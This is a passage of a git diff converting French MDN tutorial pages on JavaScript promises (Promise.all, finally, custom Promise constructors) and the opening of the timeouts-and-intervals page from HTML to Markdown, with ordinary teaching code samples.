ici un code de synchronisation assez simple pour stocker les résultats dans des variables séparées (en créant des URL d'objets à partir des blobs), puis nous affichons les images et le texte sur la page. + + ```js + console.log(values); + // Stocke chaque valeur renvoyée par les promesses dans + // des variables distinctes ; crée des URL d'objets à partir des blobs. + let objectURL1 = URL.createObjectURL(values[0]); + let objectURL2 = URL.createObjectURL(values[1]); + let descText = values[2]; + + // Affiche les images dans les éléments <img> + let image1 = document.createElement('img'); + let image2 = document.createElement('img'); + image1.src = objectURL1; + image2.src = objectURL2; + document.body.appendChild(image1); + document.body.appendChild(image2); + + // Affiche le texte d'un paragraphe + let para = document.createElement('p'); + para.textContent = descText; + document.body.appendChild(para); + ``` + +7. Sauvegardez et actualisez et vous devriez voir vos composants d'interface utilisateur chargés, bien que d'une manière peu attrayante ! + +Le code que nous avons fourni ici pour l'affichage des articles est assez rudimentaire, mais il fonctionne comme une explication pour le moment. + +> **Note :** Si vous êtes bloqué, vous pouvez comparer votre version du code à la nôtre, pour voir à quoi elle est censée ressembler - [voir en direct](https://mdn.github.io/learning-area/javascript/asynchronous/promises/promise-all.html), et voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html). + +> **Note :** Si vous amélioriez ce code, vous pourriez vouloir boucler sur une liste d'éléments à afficher, en récupérant et en décodant chacun d'eux, puis boucler sur les résultats à l'intérieur de `Promise.all()`, en exécutant une fonction différente pour afficher chacun d'eux en fonction du type de code. Cela permettrait de fonctionner pour n'importe quel nombre d'éléments, pas seulement trois. +> +> De plus, vous pourriez déterminer quel est le type de fichier récupéré sans avoir besoin d'une propriété `type` explicite. Vous pourriez, par exemple, vérifier l'en-tête HTTP [`Content-Type`](/fr/docs/Web/HTTP/Headers/Content-Type) de la réponse dans chaque cas en utilisant [`response.headers.get("content-type")`](/fr/docs/Web/API/Headers/get), puis agir en conséquence. + +## Exécution d'un code final après l'accomplissement/le rejet d'une promesse. + +Il y aura des cas où vous voudrez exécuter un bloc de code final après la fin d'une promesse, qu'elle se soit réalisée ou rejetée. Auparavant, vous deviez inclure le même code dans les deux fonctions de rappel `.then()` et `.catch()`, par exemple : + +```js +myPromise +.then(response => { doSomething(response); runFinalCode(); }) -.catch(e => { +.catch(e => { returnError(e); runFinalCode(); -});</pre> +}); +``` -<p>Dans les navigateurs modernes plus récents, la méthode <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/finally"><code>.finally()</code></a> est disponible, et peut être enchaînée à la fin de votre chaîne de promesses régulière, ce qui vous permet de réduire les répétitions de code et de faire les choses de manière plus élégante. Le code ci-dessus peut maintenant être écrit comme suit :</p> +Dans les navigateurs modernes plus récents, la méthode [`.finally()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/finally) est disponible, et peut être enchaînée à la fin de votre chaîne de promesses régulière, ce qui vous permet de réduire les répétitions de code et de faire les choses de manière plus élégante. Le code ci-dessus peut maintenant être écrit comme suit : -<pre class="brush: js">myPromise -.then(response => { +```js +myPromise +.then(response => { doSomething(response); }) -.catch(e => { +.catch(e => { returnError(e); }) -.finally(() => { +.finally(() => { runFinalCode(); -});</pre> +}); +``` -<p>Pour un exemple réel, jetez un œil à notre <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/promise-finally.html">démonstration promesse-finally.html</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-finally.html">code source</a>). Cela fonctionne de la même manière que la démo <code>Promesse.all()</code> que nous avons examinée dans la section ci-dessus, sauf que dans la fonction <code>fetchAndDecode()</code>, nous enchaînons un appel <code>finally()</code> à la fin de la chaîne :</p> +Pour un exemple réel, jetez un œil à notre [démonstration promesse-finally.html](https://mdn.github.io/learning-area/javascript/asynchronous/promises/promise-finally.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-finally.html)). Cela fonctionne de la même manière que la démo `Promesse.all()` que nous avons examinée dans la section ci-dessus, sauf que dans la fonction `fetchAndDecode()`, nous enchaînons un appel `finally()` à la fin de la chaîne : -<pre class="brush: js">function fetchAndDecode(url, type) { - return fetch(url).then(response => { +```js +function fetchAndDecode(url, type) { + return fetch(url).then(response => { if(!response.ok) { throw new Error(`Erreur HTTP ! statut : ${response.status}`); } else { @@ -437,140 +453,139 @@ document.body.appendChild(para);</pre> } } }) - .catch(e => { + .catch(e => { console.log(`Il y a eu un problème avec votre opération de récupération de la ressource "${url}" : ` + e.message); }) - .finally(() => { + .finally(() => { console.log(`La tentative de récupération de "${url}" est terminée.`); }); -}</pre> +} +``` -<p>Cela permet d'envoyer un simple message à la console pour nous dire quand chaque tentative de récupération est terminée.</p> +Cela permet d'envoyer un simple message à la console pour nous dire quand chaque tentative de récupération est terminée. -<div class="note"> - <p><strong>Note :</strong> <code>then()</code>/<code>catch()</code>/<code>finally()</code> est l'équivalent asynchrone de <code>try</code>/<code>catch</code>/<code>finally</code> en code synchrone.</p> -</div> +> **Note :** `then()`/`catch()`/`finally()` est l'équivalent asynchrone de `try`/`catch`/`finally` en code synchrone. -<h2 id="building_your_own_custom_promises">Construire vos propres promesses personnalisées</h2> +## Construire vos propres promesses personnalisées -<p>La bonne nouvelle est que, d'une certaine manière, vous avez déjà construit vos propres promesses. Lorsque vous avez enchaîné plusieurs promesses avec des blocs <code>.then()</code>, ou que vous les avez autrement combinées pour créer une fonctionnalité personnalisée, vous créez déjà vos propres fonctions asynchrones personnalisées basées sur des promesses. Prenez notre fonction <code>fetchAndDecode()</code> des exemples précédents, par exemple.</p> +La bonne nouvelle est que, d'une certaine manière, vous avez déjà construit vos propres promesses. Lorsque vous avez enchaîné plusieurs promesses avec des blocs `.then()`, ou que vous les avez autrement combinées pour créer une fonctionnalité personnalisée, vous créez déjà vos propres fonctions asynchrones personnalisées basées sur des promesses. Prenez notre fonction `fetchAndDecode()` des exemples précédents, par exemple. -<p>La combinaison de différentes API basées sur les promesses pour créer des fonctionnalités personnalisées est de loin la façon la plus courante dont vous ferez des choses personnalisées avec les promesses, et montre la flexibilité et la puissance de la base de la plupart des API modernes autour du même principe. Il existe toutefois un autre moyen.</p> +La combinaison de différentes API basées sur les promesses pour créer des fonctionnalités personnalisées est de loin la façon la plus courante dont vous ferez des choses personnalisées avec les promesses, et montre la flexibilité et la puissance de la base de la plupart des API modernes autour du même principe. Il existe toutefois un autre moyen. -<h3 id="using_the_promise_constructor">Utilisation du constructeur Promise()</h3> +### Utilisation du constructeur Promise() -<p>Il est possible de construire vos propres promesses en utilisant le constructeur <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise"><code>Promise()</code></a>. La principale situation dans laquelle vous voudrez faire cela est lorsque vous avez du code basé sur une API asynchrone de la vieille école qui n'est pas basée sur les promesses, et que vous voulez promettre. Cela s'avère pratique lorsque vous avez besoin d'utiliser du code, des bibliothèques ou des frameworks existants, plus anciens, avec du code moderne basé sur les promesses.</p> +Il est possible de construire vos propres promesses en utilisant le constructeur [`Promise()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise). La principale situation dans laquelle vous voudrez faire cela est lorsque vous avez du code basé sur une API asynchrone de la vieille école qui n'est pas basée sur les promesses, et que vous voulez promettre. Cela s'avère pratique lorsque vous avez besoin d'utiliser du code, des bibliothèques ou des frameworks existants, plus anciens, avec du code moderne basé sur les promesses. -<p>Examinons un exemple simple pour vous aider à démarrer — ici, nous enveloppons un appel <a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout"><code>setTimeout()</code></a> avec une promesse — cela exécute une fonction après deux secondes qui résout la promesse (en passant l'appel <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve"><code>resolve()</code></a>) avec une chaîne de caractères de "Succès ! ".</p> +Examinons un exemple simple pour vous aider à démarrer — ici, nous enveloppons un appel [`setTimeout()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout) avec une promesse — cela exécute une fonction après deux secondes qui résout la promesse (en passant l'appel [`resolve()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve)) avec une chaîne de caractères de "Succès ! ". -<pre class="brush: js">let timeoutPromise = new Promise((resolve, reject) => { - setTimeout(() => { +```js +let timeoutPromise = new Promise((resolve, reject) => { + setTimeout(() => { resolve('Succès !'); }, 2000); -});</pre> +}); +``` -<p><code>resolve()</code> et <code>reject()</code> sont des fonctions que vous appelez pour réaliser ou rejeter la promesse nouvellement créée. Dans ce cas, la promesse se réalise avec une chaîne de caractères "Succès !".</p> +`resolve()` et `reject()` sont des fonctions que vous appelez pour réaliser ou rejeter la promesse nouvellement créée. Dans ce cas, la promesse se réalise avec une chaîne de caractères "Succès !". -<p>Ainsi, lorsque vous appelez cette promesse, vous pouvez enchaîner un bloc <code>.then()</code> à la fin de celle-ci et on lui passera une chaîne de caractères "Succès !". Dans le code ci-dessous, nous alertons ce message :</p> +Ainsi, lorsque vous appelez cette promesse, vous pouvez enchaîner un bloc `.then()` à la fin de celle-ci et on lui passera une chaîne de caractères "Succès !". Dans le code ci-dessous, nous alertons ce message : -<pre class="brush: js">timeoutPromise -.then((message) => { +```js +timeoutPromise +.then((message) => { alert(message); -})</pre> +}) +``` -<p>ou même simplement</p> +ou même simplement -<pre class="brush: js">timeoutPromise.then(alert);</pre> +```js +timeoutPromise.then(alert); +``` -<p>Essayez <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/custom-promise.html">de l'exécuter en direct</a> pour voir le résultat (voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/custom-promise.html">code source</a>).</p> +Essayez [de l'exécuter en direct](https://mdn.github.io/learning-area/javascript/asynchronous/promises/custom-promise.html) pour voir le résultat (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/custom-promise.html)). -<p>L'exemple ci-dessus n'est pas très flexible - la promesse ne peut jamais s'accomplir qu'avec une seule chaîne de caractères, et elle n'a aucune sorte de condition <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject"><code>reject()</code></a> spécifiée (il est vrai que <code>setTimeout()</code> n'a pas vraiment de condition d'échec, donc cela n'a pas d'importance pour cet exemple).</p> +L'exemple ci-dessus n'est pas très flexible - la promesse ne peut jamais s'accomplir qu'avec une seule chaîne de caractères, et elle n'a aucune sorte de condition [`reject()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject) spécifiée (il est vrai que `setTimeout()` n'a pas vraiment de condition d'échec, donc cela n'a pas d'importance pour cet exemple). -<div class="note"> - <p><strong>Note :</strong> Pourquoi <code>resolve()</code>, et pas <code>fulfill()</code> ? La réponse que nous vous donnerons, pour l'instant, est <em>c'est compliqué</em>.</p> -</div> +> **Note :** Pourquoi `resolve()`, et pas `fulfill()` ? La réponse que nous vous donnerons, pour l'instant, est _c'est compliqué_. -<h3 id="rejecting_a_custom_promise">Rejeter une promesse personnalisée</h3> +### Rejeter une promesse personnalisée -<p>Nous pouvons créer une promesse rejetée à l'aide de la méthode <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject"><code>reject()</code></a> — tout comme <code>resolve()</code>, celle-ci prend une seule valeur, mais dans ce cas, c'est la raison du rejet, c'est-à-dire l'erreur qui sera transmise dans le bloc <code>.catch()</code>.</p> +Nous pouvons créer une promesse rejetée à l'aide de la méthode [`reject()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/reject) — tout comme `resolve()`, celle-ci prend une seule valeur, mais dans ce cas, c'est la raison du rejet, c'est-à-dire l'erreur qui sera transmise dans le bloc `.catch()`. -<p>Étendons l'exemple précédent pour avoir quelques conditions <code>reject()</code> ainsi que pour permettre de transmettre différents messages en cas de succès.</p> +Étendons l'exemple précédent pour avoir quelques conditions `reject()` ainsi que pour permettre de transmettre différents messages en cas de succès. -<p>Prenez une copie de l'<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/custom-promise.html">exemple précédent</a>, et remplacez la définition de <code>timeoutPromise()</code> existante par celle-ci :</p> +Prenez une copie de l'[exemple précédent](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/custom-promise.html), et remplacez la définition de `timeoutPromise()` existante par celle-ci : -<pre class="brush: js">function timeoutPromise(message, interval) { - return new Promise((resolve, reject) => { +```js +function timeoutPromise(message, interval) { + return new Promise((resolve, reject) => { if (message === '' || typeof message !== 'string') { reject('Le message est vide ou n'est pas une chaîne de caractères'); - } else if (interval < 0 || typeof interval !== 'number') { + } else if (interval < 0 || typeof interval !== 'number') { reject(`L'intervalle est négatif ou n'est pas un nombre`); } else { - setTimeout(() => { + setTimeout(() => { resolve(message); }, interval); } }); -};</pre> +}; +``` -<p>Ici, nous passons deux arguments dans une fonction personnalisée - un message pour faire quelque chose avec, et l'intervalle de temps à passer avant de faire la chose. À l'intérieur de la fonction, nous renvoyons un nouvel objet <code>Promise</code> — l'invocation de la fonction renverra la promesse que nous voulons utiliser.</p> +Ici, nous passons deux arguments dans une fonction personnalisée - un message pour faire quelque chose avec, et l'intervalle de temps à passer avant de faire la chose. À l'intérieur de la fonction, nous renvoyons un nouvel objet `Promise` — l'invocation de la fonction renverra la promesse que nous voulons utiliser. -<p>À l'intérieur du constructeur Promise, nous effectuons plusieurs vérifications dans des structures <code>if ... else</code> :</p> +À l'intérieur du constructeur Promise, nous effectuons plusieurs vérifications dans des structures `if ... else` : -<ol> - <li>Tout d'abord, nous vérifions si le message est approprié pour être alerté. Si c'est une chaîne de caractères vide ou pas une chaîne de caractères du tout, nous rejetons la promesse avec un message d'erreur approprié.</li> - <li>Ensuite, nous vérifions si l'intervalle est une valeur d'intervalle appropriée. S'il est négatif ou n'est pas un nombre, nous rejetons la promesse avec un message d'erreur approprié.</li> - <li>Enfin, si les paramètres semblent tous deux OK, nous résolvons la promesse avec le message spécifié après que l'intervalle spécifié se soit écoulé en utilisant <code>setTimeout()</code>.</li> -</ol> +1. Tout d'abord, nous vérifions si le message est approprié pour être alerté. Si c'est une chaîne de caractères vide ou pas une chaîne de caractères du tout, nous rejetons la promesse avec un message d'erreur approprié. +2. Ensuite, nous vérifions si l'intervalle est une valeur d'intervalle appropriée. S'il est négatif ou n'est pas un nombre, nous rejetons la promesse avec un message d'erreur approprié. +3. Enfin, si les paramètres semblent tous deux OK, nous résolvons la promesse avec le message spécifié après que l'intervalle spécifié se soit écoulé en utilisant `setTimeout()`. -<p>Puisque la fonction <code>timeoutPromise()</code> renvoie un objet <code>Promise</code>, nous pouvons enchaîner <code>.then()</code>, <code>.catch()</code>, etc. sur elle pour faire usage de ses fonctionnalités. Utilisons-le maintenant - remplaçons l'utilisation précédente de <code>timeoutPromise</code> par celle-ci :</p> +Puisque la fonction `timeoutPromise()` renvoie un objet `Promise`, nous pouvons enchaîner `.then()`, `.catch()`, etc. sur elle pour faire usage de ses fonctionnalités. Utilisons-le maintenant - remplaçons l'utilisation précédente de `timeoutPromise` par celle-ci : -<pre class="brush: js">timeoutPromise('Bonjour à tous !', 1000) -.then(message => { +```js +timeoutPromise('Bonjour à tous !', 1000) +.then(message => { alert(message); }) -.catch(e => { +.catch(e => { console.log('Erreur : ' + e); -});</pre> +}); +``` -<p>Lorsque vous enregistrez et exécutez le code tel quel, après une seconde, vous obtiendrez le message d'alerte. Essayez maintenant de définir le message sur une chaîne vide ou l'intervalle sur un nombre négatif, par exemple, et vous pourrez voir la promesse rejetée avec les messages d'erreur appropriés ! Vous pouvez également essayer de faire autre chose avec le message résolu plutôt que de simplement créer une alerte.</p> +Lorsque vous enregistrez et exécutez le code tel quel, après une seconde, vous obtiendrez le message d'alerte. Essayez maintenant de définir le message sur une chaîne vide ou l'intervalle sur un nombre négatif, par exemple, et vous pourrez voir la promesse rejetée avec les messages d'erreur appropriés ! Vous pouvez également essayer de faire autre chose avec le message résolu plutôt que de simplement créer une alerte. -<div class="note"> - <p><strong>Note :</strong> Vous pouvez trouver notre version de cet exemple sur GitHub sur <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/custom-promise2.html">custom-promise2.html</a> (voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/custom-promise2.html">code source</a>).</p> -</div> +> **Note :** Vous pouvez trouver notre version de cet exemple sur GitHub sur [custom-promise2.html](https://mdn.github.io/learning-area/javascript/asynchronous/promises/custom-promise2.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/custom-promise2.html)). -<h3 id="a_more_real-world_example">Un exemple plus concret</h3> +### Un exemple plus concret -<p>L'exemple ci-dessus est resté volontairement simple pour rendre les concepts faciles à comprendre, mais il n'est pas vraiment très asynchrone. La nature asynchrone est essentiellement feinte en utilisant <code>setTimeout()</code>, bien qu'il montre quand même que les promesses sont utiles pour créer une fonction personnalisée avec un flux d'opérations raisonnable, une bonne gestion des erreurs, etc.</p> +L'exemple ci-dessus est resté volontairement simple pour rendre les concepts faciles à comprendre, mais il n'est pas vraiment très asynchrone. La nature asynchrone est essentiellement feinte en utilisant `setTimeout()`, bien qu'il montre quand même que les promesses sont utiles pour créer une fonction personnalisée avec un flux d'opérations raisonnable, une bonne gestion des erreurs, etc. -<p>Un exemple que nous aimerions vous inviter à étudier, qui montre effectivement une application asynchrone utile du constructeur <code>Promise()</code>, est <a href="https://github.com/jakearchibald/idb/">la bibliothèque idb de Jake Archibald</a>. Celle-ci prend l'API <a href="/fr/docs/Web/API/IndexedDB_API">IndexedDB API</a>, qui est une API à l'ancienne basée sur des callbacks pour stocker et récupérer des données côté client, et vous permet de l'utiliser avec des promesses. Dans le code, vous verrez que le même type de techniques que nous avons évoqué plus haut est utilisé. Le bloc suivant convertit le modèle de requête de base utilisé par de nombreuses méthodes IndexedDB pour utiliser des promesses (<a href="https://github.com/jakearchibald/idb/blob/01082ad696eef05e9c913f55a17cda7b3016b12c/build/esm/wrap-idb-value.js#L30">voir ce code, par exemple</a>).</p> +Un exemple que nous aimerions vous inviter à étudier, qui montre effectivement une application asynchrone utile du constructeur `Promise()`, est [la bibliothèque idb de Jake Archibald](https://github.com/jakearchibald/idb/). Celle-ci prend l'API [IndexedDB API](/fr/docs/Web/API/IndexedDB_API), qui est une API à l'ancienne basée sur des callbacks pour stocker et récupérer des données côté client, et vous permet de l'utiliser avec des promesses. Dans le code, vous verrez que le même type de techniques que nous avons évoqué plus haut est utilisé. Le bloc suivant convertit le modèle de requête de base utilisé par de nombreuses méthodes IndexedDB pour utiliser des promesses ([voir ce code, par exemple](https://github.com/jakearchibald/idb/blob/01082ad696eef05e9c913f55a17cda7b3016b12c/build/esm/wrap-idb-value.js#L30)). -<h2 id="conclusion">Conclusion</h2> +## Conclusion -<p>Les promesses sont un bon moyen de construire des applications asynchrones lorsque nous ne connaissons pas la valeur de retour d'une fonction ou le temps qu'elle prendra pour retourner une réponse. Elles permettent d'exprimer et de raisonner plus facilement sur des séquences d'opérations asynchrones sans callbacks profondément imbriqués, et elles supportent un style de gestion des erreurs qui est similaire à l'instruction synchrone <code>try...catch</code>.</p> +Les promesses sont un bon moyen de construire des applications asynchrones lorsque nous ne connaissons pas la valeur de retour d'une fonction ou le temps qu'elle prendra pour retourner une réponse. Elles permettent d'exprimer et de raisonner plus facilement sur des séquences d'opérations asynchrones sans callbacks profondément imbriqués, et elles supportent un style de gestion des erreurs qui est similaire à l'instruction synchrone `try...catch`. -<p>Les promesses fonctionnent dans les dernières versions de tous les navigateurs modernes ; le seul endroit où la prise en charge des promesses posera problème est Opera Mini et IE11 et les versions antérieures.</p> +Les promesses fonctionnent dans les dernières versions de tous les navigateurs modernes ; le seul endroit où la prise en charge des promesses posera problème est Opera Mini et IE11 et les versions antérieures. -<p>Nous n'avons pas abordé toutes les fonctionnalités des promesses dans cet article, mais seulement les plus intéressantes et les plus utiles. Au fur et à mesure que vous vous familiariserez avec les promesses, vous découvrirez d'autres fonctionnalités et techniques.</p> +Nous n'avons pas abordé toutes les fonctionnalités des promesses dans cet article, mais seulement les plus intéressantes et les plus utiles. Au fur et à mesure que vous vous familiariserez avec les promesses, vous découvrirez d'autres fonctionnalités et techniques. -<p>La plupart des API Web modernes sont basées sur des promesses, vous devrez donc comprendre les promesses pour en tirer le meilleur parti. Parmi ces API, citons <a href="/fr/docs/Web/API/WebRTC_API">WebRTC</a>, <a href="/fr/docs/Web/API/Web_Audio_API">Web Audio API</a>, <a href="/fr/docs/Web/API/Media_Streams_API">MediaStream API</a>, et bien d'autres encore. Les promesses seront de plus en plus importantes au fil du temps, donc apprendre à les utiliser et à les comprendre est une étape importante dans l'apprentissage du JavaScript moderne.</p> +La plupart des API Web modernes sont basées sur des promesses, vous devrez donc comprendre les promesses pour en tirer le meilleur parti. Parmi ces API, citons [WebRTC](/fr/docs/Web/API/WebRTC_API), [Web Audio API](/fr/docs/Web/API/Web_Audio_API), [MediaStream API](/fr/docs/Web/API/Media_Streams_API), et bien d'autres encore. Les promesses seront de plus en plus importantes au fil du temps, donc apprendre à les utiliser et à les comprendre est une étape importante dans l'apprentissage du JavaScript moderne. -<h2 id="see_also">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise"><code>Promise()</code></a></li> - <li><a href="/fr/docs/Web/JavaScript/Guide/Using_promises">Utilisation des promesses</a></li> - <li><a href="https://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Nous avons un problème avec les promesses</a> <small>(en)</small> par Nolan Lawson</li> -</ul> +- [`Promise()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) +- [Utilisation des promesses](/fr/docs/Web/JavaScript/Guide/Using_promises) +- [Nous avons un problème avec les promesses](https://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html) (en) par Nolan Lawson -<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}</p> +{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}} -<h2 id="in_this_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Concepts">Concepts généraux de programmation asynchrone</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Introducing">Introduction au JavaScript asynchrone</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">JavaScript asynchrone coopératif : Délais et intervalles</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Promises">Gérer les opérations asynchrones avec élégance grâce aux Promesses</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Async_await">Faciliter la programmation asynchrone avec async et await</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choisir la bonne approche</a></li> -</ul> +- [Concepts généraux de programmation asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Concepts) +- [Introduction au JavaScript asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Introducing) +- [JavaScript asynchrone coopératif : Délais et intervalles](/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals) +- [Gérer les opérations asynchrones avec élégance grâce aux Promesses](/fr/docs/Learn/JavaScript/Asynchronous/Promises) +- [Faciliter la programmation asynchrone avec async et await](/fr/docs/Learn/JavaScript/Asynchronous/Async_await) +- [Choisir la bonne approche](/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach) diff --git a/files/fr/learn/javascript/asynchronous/timeouts_and_intervals/index.md b/files/fr/learn/javascript/asynchronous/timeouts_and_intervals/index.md index e2f90a12fb..c179da9e18 100644 --- a/files/fr/learn/javascript/asynchronous/timeouts_and_intervals/index.md +++ b/files/fr/learn/javascript/asynchronous/timeouts_and_intervals/index.md @@ -16,70 +16,71 @@ tags: - timeouts translation_of: Learn/JavaScript/Asynchronous/Timeouts_and_intervals --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}</div> - -<p>Ce tutoriel présente les méthodes traditionnelles dont dispose JavaScript pour exécuter du code de manière asynchrone après l'écoulement d'une période de temps déterminée ou à un intervalle régulier (par exemple, un nombre déterminé de fois par seconde), discute de leur utilité et examine leurs problèmes inhérents.</p> +Ce tutoriel présente les méthodes traditionnelles dont dispose JavaScript pour exécuter du code de manière asynchrone après l'écoulement d'une période de temps déterminée ou à un intervalle régulier (par exemple, un nombre déterminé de fois par seconde), discute de leur utilité et examine leurs problèmes inhérents. <table class="standard-table"> <tbody> <tr> <th scope="row">Prérequis :</th> - <td>Connaissances informatiques de base, compréhension raisonnable des principes fondamentaux de JavaScript.</td> + <td> + Connaissances informatiques de base, compréhension raisonnable des + principes fondamentaux de JavaScript. + </td> </tr> <tr> <th scope="row">Objectif :</th> - <td>Comprendre les boucles et les intervalles asynchrones et leur utilité.</td> + <td> + Comprendre les boucles et les intervalles asynchrones et leur utilité. + </td> </tr> </tbody> </table> -<h2 id="introduction">Introduction</h2> +## Introduction -<p>Depuis longtemps, la plate-forme Web offre aux programmeurs JavaScript un certain nombre de fonctions qui leur permettent d'exécuter du code de manière asynchrone après un certain intervalle de temps, et d'exécuter un bloc de code de manière asynchrone jusqu'à ce que vous lui demandiez de s'arrêter.</p> +Depuis longtemps, la plate-forme Web offre aux programmeurs JavaScript un certain nombre de fonctions qui leur permettent d'exécuter du code de manière asynchrone après un certain intervalle de temps, et d'exécuter un bloc de code de manière asynchrone jusqu'à ce que vous lui demandiez de s'arrêter. -<p>Ces fonctions sont :</p> +Ces fonctions sont : -<dl> - <dt><a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout"><code>setTimeout()</code></a></dt> - <dd>Exécuter un bloc de code spécifié une fois, après qu'un temps spécifié se soit écoulé.</dd> - <dt><a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/setInterval"><code>setInterval()</code></a></dt> - <dd>Exécuter un bloc de code spécifique de manière répétée, avec un délai fixe entre chaque appel.</dd> - <dt><a href="/fr/docs/Web/API/Window/requestAnimationFrame"><code>requestAnimationFrame()</a></code></dt> - <dd>La version moderne de <code>setInterval()</code>. Exécute un bloc de code spécifié avant que le navigateur ne repeigne ensuite l'affichage, ce qui permet à une animation d'être exécutée à une fréquence d'images appropriée, quel que soit l'environnement dans lequel elle est exécutée.</dd> -</dl> +- [`setTimeout()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout) + - : Exécuter un bloc de code spécifié une fois, après qu'un temps spécifié se soit écoulé. +- [`setInterval()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/setInterval) + - : Exécuter un bloc de code spécifique de manière répétée, avec un délai fixe entre chaque appel. +- [`requestAnimationFrame()`](/fr/docs/Web/API/Window/requestAnimationFrame) + - : La version moderne de `setInterval()`. Exécute un bloc de code spécifié avant que le navigateur ne repeigne ensuite l'affichage, ce qui permet à une animation d'être exécutée à une fréquence d'images appropriée, quel que soit l'environnement dans lequel elle est exécutée. -<p>Le code asynchrone mis en place par ces fonctions s'exécute sur le processus principal (après l'écoulement de leur minuterie spécifiée).</p> +Le code asynchrone mis en place par ces fonctions s'exécute sur le processus principal (après l'écoulement de leur minuterie spécifiée). -<p>Il est important de savoir que vous pouvez (et allez souvent) exécuter un autre code avant qu'un appel <code>setTimeout()</code> ne s'exécute, ou entre les itérations de <code>setInterval()</code>. Selon l'intensité du processeur de ces opérations, elles peuvent retarder encore plus votre code asynchrone, car tout code asynchrone ne s'exécutera qu'<em>après</em> la disponibilité du processus principal. (En d'autres termes, lorsque la pile est vide.) Vous en apprendrez davantage à ce sujet au fur et à mesure que vous progresserez dans cet article.</p> +Il est important de savoir que vous pouvez (et allez souvent) exécuter un autre code avant qu'un appel `setTimeout()` ne s'exécute, ou entre les itérations de `setInterval()`. Selon l'intensité du processeur de ces opérations, elles peuvent retarder encore plus votre code asynchrone, car tout code asynchrone ne s'exécutera qu'_après_ la disponibilité du processus principal. (En d'autres termes, lorsque la pile est vide.) Vous en apprendrez davantage à ce sujet au fur et à mesure que vous progresserez dans cet article. -<p>Dans tous les cas, ces fonctions sont utilisées pour exécuter des animations constantes et d'autres traitements en arrière-plan sur un site Web ou une application. Dans les sections suivantes, nous allons vous montrer comment les utiliser.</p> +Dans tous les cas, ces fonctions sont utilisées pour exécuter des animations constantes et d'autres traitements en arrière-plan sur un site Web ou une application. Dans les sections suivantes, nous allons vous montrer comment les utiliser. -<h2 id="settimeout">setTimeout()</h2> +## setTimeout() -<p>Comme nous l'avons dit précédemment, <a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout"><code>setTimeout()</code></a> exécute un bloc de code particulier une fois qu'un temps spécifié s'est écoulé. Il prend les paramètres suivants :</p> +Comme nous l'avons dit précédemment, [`setTimeout()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout) exécute un bloc de code particulier une fois qu'un temps spécifié s'est écoulé. Il prend les paramètres suivants : -<ul> - <li>Une fonction à exécuter, ou une référence à une fonction définie ailleurs.</li> - <li>Un nombre représentant l'intervalle de temps en millisecondes (1000 millisecondes équivalent à 1 seconde) à attendre avant d'exécuter le code. Si vous spécifiez une valeur de <code>0</code> (ou omettez la valeur), la fonction sera exécutée dès que possible. (Voir la note ci-dessous sur la raison pour laquelle elle s'exécute "dès que possible" et non "immédiatement"). Plus d'informations sur les raisons pour lesquelles vous 